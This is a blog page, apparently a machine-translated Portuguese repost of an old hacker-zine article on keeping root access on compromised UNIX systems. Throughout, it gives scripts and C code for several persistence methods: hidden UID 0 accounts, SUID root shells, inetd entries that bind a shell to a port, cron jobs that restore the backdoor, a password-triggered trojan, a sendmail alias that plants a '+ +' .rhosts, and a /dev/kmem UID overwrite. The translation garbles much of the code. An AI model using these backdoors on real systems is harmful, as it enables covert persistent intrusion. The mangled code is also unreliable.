publicidade
publicidade
publicidade
publicidade
publicidade
publicidade
publicidade

BackDoor ( Porta das Trazeiras )

Ok ..... Você foi para ele durante toda a noite. Tentar todas as façanhas que você pode pensar. O sistema parece apertado. O sistema parece apertado. O sistema * * é apertado. Você já tentou de tudo. Passwds Padrão, passwds guessable, fraquezas NIS, NFS buracos, incorreto permissões, as condições de corrida, explora SUID, bugs Sendmail, e assim por diante ... Nada. WAIT! O que é isso?!!? A "#"?? Finalmente! Após a labuta interminável aparente, você conseguiu roubar raiz. E agora? Como você se apega a essa preciosa super-usuário privilégio de ter trabalhado tão duramente para conseguir ....?
Este artigo destina-se a mostrar-lhe como prender raiz uma vez que você tem. Ele é destinado a hackers e administradores. De uma perspectiva de "hacking", é óbvio que bom este papel você vai fazer. Admin pode igualmente beneficiar deste papel. Sempre quero saber como hacker maldito que sempre consegue aparecer, mesmo quando você pensa que ele totalmente erradicada de seu sistema? Esta lista não é de forma abrangente. Há tantas maneiras de deixar backdoors em um computador UNIX, pois há formas em um.
Antemão
Conheça a localização dos arquivos críticos do sistema. Isto deveria ser óbvio (Se você não pode listar qualquer um dos topo de sua cabeça, pare de ler Agora, pegue um livro sobre UNIX, lê-lo, em seguida, voltar para mim ...). Familiaridade com os formatos de arquivo passwd (incluindo a área geral 7 formato, as convenções de nomenclatura específica do sistema, mecanismos de sombreamento, etc ..). Vi Know. Muitos sistemas não terá os robusta do usuário, editores de ambiente, como o Pico e Emacs. Vi também é bastante útil para a necessidade de procurar rapidamente e editar um arquivo grande. Se você está se conectando remotamente (via dial-up/telnet/rlogin/whatver) é sempre bom ter um programa de terminal robusto que tem um Nice, buffer scrollback FAT. Isso será útil se você quer cortar e colar código, rc, shell scripts, etc ..
O permenance desses backdoors vai depender completamente no saavy técnico do administrador. O experiente e administrador hábil será sábio para muitos (se não todas) dessas backdoors. Mas, se você conseguiu roubar raiz, é provável que o admin não é tão qualificados (ou até à data em relatórios de erros), como ela deve ser, e muitas dessas portas pode ser posto em prática há algum tempo para vir. Uma coisa importante a ter em conta, é o fato de que, se você pode cobri-lo faixas durante o intervalo inicial de dentro, ninguém será procurando portas traseiras.


A Overt
[1] Adicione uma conta UID 0 para o arquivo passwd. Esta é provavelmente a mais óbvia e rapidamente descobriu método de Rentry. Ele voa uma bandeira vermelha para o administrador, dizendo "Nós estamos sob ataque !!!". Se você deve fazer isso, meu conselho é que não basta preceder ou anexá-lo. Qualquer causalmente examinando o arquivo passwd vai ver isso. Assim, porque não furá-la no meio ...
/ bin / csh # Insere uma conta UID 0 para o meio do arquivo passwd. # Não é provável que uma maneira de fazer isso em 1 / 2 de uma linha de AWK e SED. Oh well. Daemon9@netcom.com #
conjunto lineCount = `wc-l / etc / passwd` CD # fazer isso em casa. cp / etc / passwd. / temppass # Segurança em primeiro lugar. echo $ passwd tem lineCount [1] linhas. @ LineCount [1] / = 2 @ LineCount [1] + = 1 # só queremos arquivos 2 temp echo Criando dois arquivos, $ lineCount [1] linhas cada \ (ou seja, cerca de \). split - $ lineCount [1]. / temppass # string passwd opcional echo "EvilUser:: 0:0: Mr. Sinister: / home / sweet / home: / bin / csh">>. / XAA cat. / xab>>. / XAA mv. / XAA / etc / passwd chmod 644 / etc / passwd # ou seja lá o que foi previamente rm. / xa *. / temppass Feito eco ...
NUNCA, NUNCA, altere a senha de root. As razões são óbvias.
[2] No mesmo sentido, activar uma conta desactivada como UID 0, tais como a sincronização. Ou, talvez, uma conta somwhere enterrado no fundo do passwd foi abandonado, e desativada pelo administrador do sistema. Mude seu UID a 0 (e remover o '*' a partir da segunda campo).
[3] Deixar um shell de root SUID em / tmp.
/ bin / sh # Everyone's favorite ...
cp / bin / csh / tmp / .evilnaughtyshell # Não é nome que ... chmod 4755 / tmp / .evilnaughtyshell
Muitos sistemas de executar tarefas cron para limpar / tmp noturno. A maioria dos sistemas clean / tmp em cima de um reboot. Muitos sistemas têm / tmp montado para desautorizar programas SUID de execução. Você pode mudar tudo isso, mas se o sistema começa a encher, as pessoas podem aviso ... mas, hey, isto * é * a seção aberta ....). Não vou detalhar as mudanças necessárias, pois eles podem ser completamente sistema específicos. Saída / var / spool / cron / crontabs / root e / etc / fstab.


O Veiled
[4] O super-arquivo de configuração do servidor não é o primeiro lugar um sysadmin vai olhar, então porque não colocar um lá? Primeiro, alguns info background: O servidor de Internet (/ etc / inetd) atende a pedidos de conexão em portas TCP e UDP e gera o programa apropriado (geralmente um servidor) quando um pedido de conexão chega. O formato do arquivo / inetd.conf / etc é simples. Típico linhas de aparência:
(1) (2) (3) (4) (5) (6) (7) ftp stream tcp nowait root / usr / etc / ftpd ftpd talk dgram udp wait root / usr / etc / ntalkd ntalkd
Field (1) é o nome do servidor que deve aparecer no arquivo / etc / services. Isto diz-inetd que procurar no arquivo / etc / services para determinar qual a porta que deve associar o nome do programa com. (2) diz inetd qual o tipo de conexão de soquete o daemon irá esperar. TCP usa córregos, e utiliza datagramas UDP. Campo (3) é o campo de protocolo, que é um dos dois protocolos de transporte, o TCP ou UDP. Campo (4) especifica se ou não o daemon é iterativo ou simultâneas. A bandeira esperar 'indica que o servidor irá ligação de um processo e fazer todas as conexões subseqüentes esperar. "Nowait" significa que o servidor irá aceitar uma conexão, uma ova processo filho para tratar da ligação, e depois voltar a dormir, à espera de novas conexões. Campo (5) é o usuário (ou mais inportantly, o UID) que o servidor seja executado. (6) é o programa para ser executado quando uma conexão chega, e (7) é o real (comando e argumentos opcionais). Se o programa é trivial (geralmente não requer a interação do usuário) inetd pode manipulá-lo internamente. Isto é feito com uma "bandeira interna" nos campos (6) e (7). Assim, para instalar um backdoor acessível, escolher um serviço que não é usada frequentemente, e substituir o daemon que normalmente iriam lidar com ela com outra coisa. Um programa que cria um escudo SUID root, um programa que adiciona uma conta de root para você no arquivo / etc / passwd arquivos, etc .. Para a insinuação-danificada, tente o seguinte:
Abra o arquivo / etc / inetd.conf em um editor disponível. Encontre a linha que lê:

        
        
daytime stream tcp nowait root interno
e alterá-lo para:

        
daytime stream tcp nowait / bin / sh sh-i.
Agora você precisa reiniciar o / etc / inetd assim ele vai reler o arquivo de configuração. Cabe a você como você gostaria de fazer isso. Você pode matar e reiniciar o processo (kill -9, / usr / sbin / inetd ou / usr / etc / inetd) que interuppt conexões de rede ALL (por isso é uma boa idéia Para fazer isso fora as horas de pico).
[5] Uma opção para comprometer um serviço bem conhecido seria instalar um novo, que executa um programa de sua escolha. Um solução simples é criar um shell executa o backdoor semelhante ao anterior. Você precisa certificar-se da entrada aparece no / etc / serviços, bem como no arquivo / etc / inetd.conf. O formato do arquivo / etc / services é simples:
(1) (2) / (3) (4) smtp 25/tcp mail
Field (1) é o serviço de campo (2) é o número da porta, (3) é o tipo de protocolo do serviço de espera, e (4) é o nome comum associado ao serviço. Por exemplo, adicione esta linha ao arquivo / etc / serviços:

        
22/tcp mal mal
e esta linha ao arquivo / etc / inetd.conf:

        
stream tcp nowait mal / bin / sh sh-i
Reinicie o inetd como antes.
Nota: Potencialmente, estes são um backdoors muito poderoso. Eles não só oferecem Rentry local a partir de qualquer consideração sobre o sistema, eles oferecem Rentry de qualquer conta * * * em * qualquer computador na Internet.
[6] Cron-base de Tróia I Cron é uma ferramenta de administração maravilhoso sistema. É também uma ferramenta maravilhosa para backdoors, desde raiz crontab irá, assim, ser executado como root ... Novamente, dependendo do nível de experiência do administrador de sistemas (e da aplicação), esta backdoor pode ou não passado. / var / spool / cron / crontabs / raiz é onde a lista de raiz para crontabs geralmente está localizado. Aqui, você tem várias opções. Vou listar uma só alguns, como o cron-backdoors baseados são limitadas apenas pela sua imaginação. Cron é o daemon do relógio. É uma ferramenta para automaticamente executar comandos em datas e horários especificados. Crontab é o comando usado para adicionar, remover, ou ver as suas entradas crontab. É tão fácil de editar manualmente o arquivo / var / spool / crontab arquivo / root como é para usar o crontab. A crontab entrada possui seis campos:
(1) (2) (3) (4) (5) (6)
 
0 0 * * 1 / usr / bin / updatedb
Fields (1) - (5) são as seguintes: minutos (0-59), horas (0-23), dia do mês (1-31) meses do ano (1-12), dia da semana (0-6). Campo (6) é o comando (ou script) para executar. O shell script acima é executado nas segundas-feiras. Para explorar o cron, simplesmente adicionar uma entrada em / var / spool / crontab / root. Por exemplo: Você pode ter um cronjob que será executado por dia e olhar no arquivo / etc / passwd para a 0 UID conta que adicionou anteriormente, e adicionar-lhe se ele estiver ausente, ou não fazer nada em contrário (que não pode ser uma má idéia para realmente inserir * * este código em um shell script já está instalado crontab entrada, para continuar a ofuscar o seu intenções obscuros). Adicione esta linha ao / var / spool / crontab / root:

        
0 0 * * * / usr / bin / trojancode
Este é o shell script:
/ bin / csh # Será que nossa eviluser ainda sobre o sistema? Vamos ter certeza que ele é. daemon9@netcom.com #
conjunto evilflag = (eviluser `grep / etc / passwd`)

if ($ # evilflag == 0) then # Será que ele existe?
        
        
conjunto lineCount = `wc-l / etc / passwd`
        
CD # fazer isso em casa.
        
cp / etc / passwd. / temppass # Segurança em primeiro lugar.
        
@ LineCount [1] / = 2
        
@ LineCount [1] + = 1 # só queremos arquivos 2 temp
        
split - $ lineCount [1]. / temppass # string passwd opcional
        
echo "EvilUser:: 0:0: Mr. Sinister: / home / sweet / home: / bin / csh">>. / XAA
        
cat. / xab>>. / XAA
        
mv. / XAA / etc / passwd
        
chmod 644 / etc / passwd # ou seja lá o que foi previamente
        
rm. / xa *. / temppass
        
Feito eco ... diferente endif
[7] Cron-base de Tróia II. Este foi trazido à minha atenção por nosso próprio Mr. Zippy. Para isso, você precisa de uma cópia do / etc / passwd escondida em algum lugar. Neste arquivo oculto passwd (chamá-lo de / var / spool / mail / .sneaky) nós temos, mas uma entrada, uma raiz conta com um passwd de sua escolha. Corremos um cronjob que, todas as manhãs, às 2:30 horas (manhã ou qualquer outro), salvo uma cópia do arquivo real / etc / passwd, e instalar este um trojan que o arquivo real / etc / passwd de um minuto (sincronizar amostras!). Qualquer utilizador normal ou o processo de tentar fazer o login ou acessar o arquivo / etc / passwd seria um erro, mas um minuto depois, tudo seria ok. Adicione esta linha ao arquivo do root crontab:


        
29 2 * * * / usr / bin / sneakysneaky_passwd
tenha certeza que isto existe:
# echo "root: 1234567890123:0:0: Operador: /: / bin / csh"> / var / spool / mail / .sneaky
e este é o shell script simples:
/ bin / csh # Instalar o trojan / etc / passwd de um minuto daemon9@netcom.com #
cp / etc / passwd / etc / .temppass cp / var / spool / mail / .sneaky / etc / passwd sleep 60 mv / etc / .temppass / etc / passwd
[8] trojan código compilado. Idéia simples. Em vez de um shell script, tem algum código C agradável para ofuscar os efeitos. Aqui está. Certifique-se que ele é executado como root. Nome inócuos algo. Escondê-la bem.
/ * Um pouco de tróia para criar um shell de root SUID, se o argumento é bom dado. Código C, ao invés de escudo para ocultar óbvia é efeitos. * / / * Daemon9@netcom.com * /
# include
# define KEYWORD "Indústria3" # define BUFFERSIZE 10
int main (argc, argv) int argc; char * argv []; (

        
int i = 0;

        
if (argv [1]) (/ * temos um argumento, é a palavra-chave? * /

                
if (! strcmp ((palavra-chave, argv [1 ]))){
                        
                                
/ * Esta é a parte trojan. * /
                        
system ( "cp / bin / csh / bin/.swp121");
                        
system ( "chown root / bin/.swp121");
                        
system ( "chmod 4755 / bin/.swp121");
                
)
        
)
                                
/ * Coloque o seu sistema possivelmente trojan específico
                                   
mensagens aqui * /
                                
/ * Vamos ver como nós estamos fazendo alguma coisa ... * /
        
printf ( "bitmap Sychronizing registros de imagem.");
        
/ * System ( "ls-alR /> & / dev / null> / dev / null &"); * /
        
for (; i <10; i + +) (
                
fprintf (stderr ,".");
                
sono (1);
        
)
        
printf ( "nDone \. \ n");
        
return (0); ) / * End main * /
[9] O arquivo de aliases do sendmail. O arquivo de aliases do sendmail permite e-mail enviado para um usuário específico para expandir a vários utilizadores, ou talvez o tubo de saída para um programa. Mais conhecido deles é o trojan alias uudecode. Basta adicionar a linha:

 
"Decode:" | / usr / bin / uudecode "
ao arquivo / etc / aliases arquivo. Normalmente, você iria em seguida, criar uma uuencoded. Rhosts com o caminho completo embutido.
#! / bin / csh
# Create a nossa. Rhosts. Observação: este será a saída para stdout.
echo "+ +"> tmpfile / usr / bin tmpfile / uuencode / root / .rhosts
Telnet Próximo ao local desejado, porta 25. Basta FakeMail para decodificar e utilizar o corpo como tema, a versão do uuencoded . rhosts. Para um forro de um (não falsificou, no entanto) fazer isso:
% echo "+ +" | / usr / bin / uuencode / root / .rhosts | decode@target.com mail
Você pode ser tão criativo como você deseja, neste caso. Você pode configurar um alias que, quando enviado para, será executado um programa de sua escolha. Muitos dos scripts anteriores e métodos podem ser empregados aqui.


A Covert
[10] Trojan em programas de código comum. Este é um método bastante sorrateiras que é realmente apenas detectável por programas como o Tripwire. A idéia é simples: inserir código trojan na fonte de um programa comumente utilizados. Alguns dos programas mais úteis para nós neste caso são su, login e passwd porque já executado SUID root, e não necessitam de permissão de alteração. Abaixo estão algumas Exemplos geral do que você gostaria de fazer, depois de obter o código fonte correta para o sabor especial do UNIX você são Backdooring. (Nota: Esta pode não ser sempre possível, como alguns vendedores UNIX não são tão generosos com o seu código fonte.) Desde que o código é muito longa e diferente de muitos sabores, vou apenas incluir psuedo base-code:
obter a entrada; Se a entrada é bandeira especial codificado, spawn trojan mal; else if entrada é válida, continue; else parar com o erro; ...
Não é complexo ou difícil. Trojans desta natureza pode ser feito em menos de 10 linhas de código adicionais.


The Esoteric
[11] / dev / kmem explorar. Ele representa o virtual do sistema. Desde que o kernel mantém os seus parâmetros na memória, é possível para modificar a memória da máquina para alterar o UID de seus processos. Para fazer isso requer que / dev / kmem de leitura / gravação permissão. As seguintes etapas são executadas: Abra o dispositivo / dev / kmem, buscar a sua página na memória, substituirá o UID o processo atual, em seguida, gerar um csh, que vai herdar esse UID. O seguinte programa faz exatamente isso.
/ * Se / kmem é a leitura e gravação, esse programa vai mudar o usuário UID e GID de 0. * / / * Este código foi publicado originalmente no "segurança UNIX: Um tutorial prático" com algumas modificações por daemon9@netcom.com * /
# include # include # include # include # include # include # include
# define KEYWORD "nomenclature1"
struct Userpage usuário; longa endereço () userlocation,;
int main (argc, argv, envp) int argc; char * argv [], * envp []; (

        
count, FD;
        
tempo em que, lseek ();
        
        
if (argv [1]) (/ * temos um argumento, é a palavra-chave? * /
                
if (! strcmp ((palavra-chave, argv [1 ]))){
                        
fd = (open ( "/ dev / kmem", O_RDWR);

                        
if (fd <0) (
                                
printf ( "Não é possível ler ou escrever para / dev / kmem \ n");
                                
perror (argv);
                                
saída (10);
                        
)
                                
                        
Endereço userlocation = ();
                        
onde = (lseek (fd, userlocation, 0);
        
                        
if (onde! = userlocation) (
                                
printf ( "Não é possível procurar a página do usuário \ n");
                                
perror (argv);
                                
saída (20);
                        
)

                        
count = read (fd, & Userpage, sizeof (user));
        
                        
if (count! = sizeof (user)) (
                                
printf ( "Não é possível ler a página do usuário \ n");
                                
perror (argv);
                                
saída (30);
                        
)

                        
printf ( "Current UID:% d \ n", userpage.u_ruid);
                        
printf ( "Current GID:% d \ n", userpage.g_ruid);
                        
                        
userpage.u_ruid = 0;
                        
userpage.u_rgid = 0;
                        
                        
onde = lseek (fd, userlocation, 0);

                        
if (onde! = userlocation) (
                                
printf ( "Não é possível procurar a página do usuário \ n");
                                
perror (argv);
                                
saída (40);
                        
)
                        
                        
write (fd, & Userpage, ((char *) & (userpage.u_procp ))-(( char *) & Userpage));
                        
                        
execle ( "/ bin / csh", "/ bin / csh", "-i", (char *) 0, envp);
                
)
        
)
) / * End main * /
# include # include # include
# define LNULL ((LDFILE *) 0)
longa endereço () (
        
        
LDFILE objeto *;
        
Símbolo SYMENT;
        
idx tempo = 0;

        
ldopen objeto = ( "/ Unix", LNULL);

        
if (object!) (
                
fprintf (stderr, "Can't open / Unix. \ n");
                
saída (50);
        
)

        
for (; objeto ldtbread (, idx, e símbolo) == SUCCESS; idx + +) (
                
if (strcmp! ( "_u", objeto (ldgetname, símbolo &))) (
                        
fprintf (stdout, "página de usuário está em 0x% 8.8X \ n", symbol.n_value);
                        
objeto (ldclose);
                        
return (symbol.n_value);
                
)
        
)

        
tabela de símbolos fprintf (stderr, "Can't read in / Unix. \ n");
        
saída (60); )
[12] Desde que o código anterior requer / dev / kmem mundo para ser acessível, e isso não é provável que um evento natural, temos de tomar cuidado com isso. Meu conselho é escrever um script semelhante ao que em [7] que vai mudar as permissões em / dev / kmem para um discreta quantidade de tempo (digamos 5 minutos) e, em seguida, restaurar as permissões originais. Você pode adicionar essa fonte para a fonte em [7]:
chmod 666 / dev / kmem sleep 300 # soneca de 5 minutos chmod 600 / dev / kmem # Ou seja lá o que era antes


Da questão Concept Infinity II
Deixe seu Comentário:
Sem comentários »
Categorias:

0 comentários:

Postar um comentário

ORA VIVA, OLHA TEU COMENTARIO VALE MAIS DO QUE OURO PARA MIM, PRECISO DELE PARA MELHORAR A DISPONIBILIDADE DO BLOG.